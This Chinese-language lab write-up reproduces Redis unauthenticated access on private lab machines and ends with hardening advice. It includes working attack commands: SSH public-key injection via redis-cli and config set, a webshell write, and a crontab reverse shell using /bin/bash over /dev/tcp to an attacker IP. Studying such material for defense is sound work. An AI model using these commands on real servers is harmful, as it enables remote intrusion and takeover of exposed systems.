本文目录


    Redis未授权访问漏洞复现

    Redis 未授权访问漏洞复现

    一、漏洞描述

    Redis 默认情况下,会绑定在 0.0.0.0:6379(在 redis3.2 之后,redis 增加了 protected-mode,在这个模式下,非绑定 IP 或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等等,这样将会将 Redis 服务暴露在公网上,如果在没有设置密码认证 (默认为空) 的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者还可以成功将自己的 ssh 公钥写入目标服务器的 / root/.ssh 文件的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务器登录目标服务器。

    漏洞的产生条件有以下两点:

    (1)    Redis 绑定在 0.0.0.0:6379, 且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网

    (2)    没有设置密码认证(默认为空)或者弱密码,可以免密码登录 redis 服务

    二、漏洞影响版本

    Redis 2.x,3.x,4.x,5.x

    三、漏洞危害

    (1) 攻击者无需认证访问到内部数据, 可能导致敏感信息泄露,黑客也可以恶意执行 flushall 来清空所有数据

    (2) 攻击者可通过 eval 执行 lua 代码,或通过数据备份功能往磁盘写入后门文件

    (3) 如果 redis 以 root 身份运行,黑客可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录目标服务器 

    四、漏洞环境搭建

    靶机: ubuntu 16.04  192.168.10.134

    攻击机: kali 192.168.10.138 

    1、靶机安装 redis 服务器 (redis-server)

    1.1 下载 redis-4.0.10

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz

     

    1.2、解压,进入源码目录,然后编译 (make、make install)

    1.3 启动服务 (redis-server)

    1.3.1 启动 redis 服务,注意关闭防火墙,Ubuntu 除了 iptables 机制,还有 ufw 安全机制

     

    1.3.2 启动 redis-server 服务

    1.4 查看是否启动了 redis-server 服务

    ps -ef |grep redis-server

    2.kali 安装安装 redis 客户端 (redis-cli)

    2.1 下载 redis-4.0.10

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz

    2.2 解压,编译

    2.3 测试 redis 客户端是否安装完成

    五、漏洞复现

    1、测试目标靶机是否存在未授权访问, 下图说明靶机存在未授权访问,导致信息泄露 (注: 由于 redis-4.0.10 版本中配置文件默认已经启用了保护,下面将使用 redis-2.8.17)

    利用方式 1: 写入 webshell

    利用条件: 目标开启了 web 服务器, 并且知道 web 路径 (可以利用 phpinfo 或者错误暴路径等),还需要具有读写增删改查权限

    2、把 shell 写入到网站根目录下 (/var/www/html/)

    3、在靶机上查看是否写入了 1.php 文件

    4、浏览器访问 http://192.168.10.139/1.php, 发现在目标靶机成功写入 webshell

    5、写入一句话木马

    6、菜刀连接, 注: 在 ubuntu 环境测试, 菜刀一直解析不到上传的木马

    利用方式 2: 通过写入 SSH 公钥实现 SSH 登录

    原理就是在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后通过修改数据库的默认路径为 / root/.ssh 和默认的缓冲文件 authorized.keys, 把缓冲的数据保存在文件里,这样就可以在服务器端的 / root/.ssh 下生一个授权的 key。

    7、首先在攻击机 (kali) 上生成 ssh 公钥

     

    8、将公钥写入 key.txt 文件(前后用 \ n 换行,避免和 redis 里其他缓存数据混合)。

    (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

    9、再把 key.txt 文件内容写入 redis 缓冲

    cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub

    10.1、设置 redis 的 dump 文件路径为 / root/.ssh 且文件名为 authorized_keys, 注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在. ssh 目录 (默认没有, 需要生成公、私钥或者建立 ssh 连接时才会生成)

    10.2 当目标使用过 ssh 服务之后, 就会产生. ssh 目录了,然后进行如下操作

     

    11、测试是否可以通过 ssh 登录目标服务器, 成功登录

     

    利用方式 3: 在 crontab 里写定时任务, 反弹 shell

    12、在客户端开启监听 (kali 攻击机)

    13、在客户端 (kali 攻击机) 使用 redis-cli 连接 redis 服务器,写入反弹 shell

    set xxx "\n\n/1 * * * /bin/bash -i>&/dev/tcp/192.168.10.140/5555 0>&1\n\n"

    config set dir /var/spool/cron

    config set dbfilename root

    save

    14、1 分钟后客户端这边收到 centos 的反弹 shell,注意: 在 ubuntu 测试计划任务写入成功但不执行

    15、在目标靶机 (centos) 上查看计划任务

     

    六、修复建议

    1、禁止外部访问 Redis 服务端口

    2、禁止使用 root 权限启动 redis 服务

    3、配置安全组,限制可连接 Redis 服务器的 IP


    参考: https://www.freebuf.com/column/158065.html

    https://www.freebuf.com/vuls/148758.html

    redis 安装: https://www.jianshu.com/p/2f53c9a4b4c6

    原文地址 www.cnblogs.com